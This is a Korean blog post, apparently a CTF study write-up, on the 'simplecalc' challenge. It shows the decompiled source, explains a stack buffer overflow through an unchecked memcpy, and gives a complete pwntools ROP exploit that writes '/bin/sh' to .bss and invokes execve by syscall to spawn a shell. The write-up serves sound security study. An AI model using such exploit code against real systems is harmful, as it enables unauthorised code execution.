Simplecalc(static linking)

2022. 3. 27. 17:43CTF Write Up 보고 공부/NightMare

프로그램을 실행하면 위와 같은 창이 실행됩니다.

3을 입력하니 허용되지 않는 숫자라고 뜹니다.

30을 입력하니 메뉴가 출력됩니다.

 

곱셈, 뺄셈, 곱셈, 나눗셈, 종료 버튼이 존재합니다.

 

1번을 누르면 2개의 값을 입력할 수 있습니다. 

작은 값을 입력하니 위와 같은 문자열이 출력된 후 프로그램이 종료됩니다.

 

100을 두 번 입력하니 덧셈 결과가 출력됩니다.

 

먼저 Ghidra를 통해 코드를 확인해보겠습니다.

더보기
int main(void)

{
  undefined vulnbuf [40];
  int select;
  int size;
  void *ptr;
  int i;
  
  size = 0;
  setvbuf((FILE *)stdin,(char *)0x0,2,0);
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  print_motd();
  printf("Expected number of calculations: ");
  __isoc99_scanf("%d",&size);
  handle_newline();
  if ((size < 0x100) && (3 < size)) {
    ptr = malloc((long)(size << 2));
    for (i = 0; i < size; i = i + 1) {
      print_menu();
      __isoc99_scanf("%d",&select);
      handle_newline();
      if (select == 1) {
        adds();
        *(undefined4 *)((long)i * 4 + (long)ptr) = add._8_4_;
      }
      else if (select == 2) {
        subs();
        *(undefined4 *)((long)i * 4 + (long)ptr) = sub._8_4_;
      }
      else if (select == 3) {
        muls();
        *(undefined4 *)((long)i * 4 + (long)ptr) = mul._8_4_;
      }
      else if (select == 4) {
        divs();
        *(undefined4 *)((long)i * 4 + (long)ptr) = divv._8_4_;
      }
      else {
        if (select == 5) {
          memcpy(vulnbuf,ptr,(long)(size << 2));
          free(ptr);
          return 0;
        }
        puts("Invalid option.\n");
      }
    }
    free(ptr);
  }
  else {
    puts("Invalid number.");
  }
  return 0;
}

처음 숫자를 입력받는데 해당 숫자가 3 초과 0x100 미만이면 통과합니다.

그 후 해당 숫자 * 4의 크기의 동적 할당을 합니다. 

 

그다음 메뉴가 출력된 후 입력 값에 따라 함수를 실행합니다.

주의 깊게 봐야 할 부분은 5를 입력했을 때로 memcpy를 통해 ptr이 가리키는 공간에 있는 데이터를 vulnbuf로 복사합니다. 이때 길이에 대한 검증이 없어 BOF가 일어날 수 있습니다.

 

ptr이 가리키는 공간에 어떤 데이터를 저장되는지는 add 함수와 함께 설명하겠습니다.

void adds(void)

{
  printf("Integer x: ");
  __isoc99_scanf("%d",add);
  handle_newline();
  printf("Integer y: ");
  __isoc99_scanf("%d",0x6c4a84);
  handle_newline();
  if ((0x27 < add._0_4_) && (0x27 < add._4_4_)) {
    add._8_4_ = add._4_4_ + add._0_4_;
    printf("Result for x + y is %d.\n\n",(ulong)add._8_4_);
    return;
  }
  puts("Do you really need help calculating such small numbers?\nShame on you... Bye");
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

먼저 사용자가 두 개의 값을 입력합니다. 각각의 값이 0x27보다 크다면 더한 뒤 함수를 종료합니다.

함수가 종료된 뒤 main 함수에서는 해당 결과 값을 *(ptr + (4 * i))에 저장합니다.

 

이 부분을 잘 이용해서 해당 부분에 셸 코드나 기계어를 입력할 수 있습니다.

이번 문제는 NX bit가 활성화되어 있어 셸 코드는 의미가 없습니다. 또한 정적 링킹이 되어 있어 system 함수가 존재하지 않습니다. 그래서 시스템 콜 인터럽트를 이용해 execve를 실행시켜서 셸을 실행시키는 이번 문제의 핵심입니다.

 

bss 영역에 /bin/sh를 입력하고 시스템 콜 인터럽트를 하기 위한 가젯들입니다.

 

코드에서 맨 처음 9번 반복할 때 0을 넣은 이유는 만약 0이 아닌 다른 값을 넣으면 memcpy 후 free 함수가 실행될 때 

변조된 포인터 변수 때문에 강제 종료될 수 있기 때문입니다.

 

코드와 결과는 아래와 같습니다.

from pwn import *

context.log_level = 'debug'

r = process('./simplecalc')

pop_rax = 0x000000000044db34
pop_rdi = 0x0000000000401b73
pop_rsi = 0x0000000000401c87
pop_rdx = 0x0000000000437a85

mov_dtoa = 0x000000000044526e
syscall = 0x0000000000400488

def add(val) :
	x = 0xffffffff & val
	y = ((0xffffffff00000000 & val) >> 32)
	addSingle(x)
	addSingle(y)

def addSingle(val) :
	r.sendlineafter("=> ", "1")
	r.sendlineafter("x: ", "100")
	r.sendlineafter("y: ", str(val - 100))


# gdb.attach(r)
r.sendline("200")

# RET전까지 채우기
# RBP - 0x40 + SFP 8byte
for _ in range(9) :
	add(0x0)

# "/bin/sh" bss 영역에 저장
add(pop_rax)
add(0x6c0000)
add(pop_rdx)
add(0x0068732f6e69622f)
add(mov_dtoa)

# execve("/bin/sh", 0, 0)
add(pop_rax)
add(59)
add(pop_rdi)
add(0x6c0000)
add(pop_rsi)
add(0)
add(pop_rdx)
add(0)
add(syscall)

r.sendlineafter("=> ", "5")

r.interactive()

'CTF Write Up 보고 공부 > NightMare' 카테고리의 다른 글

speedrun-001(static linking)  (0) 2022.03.27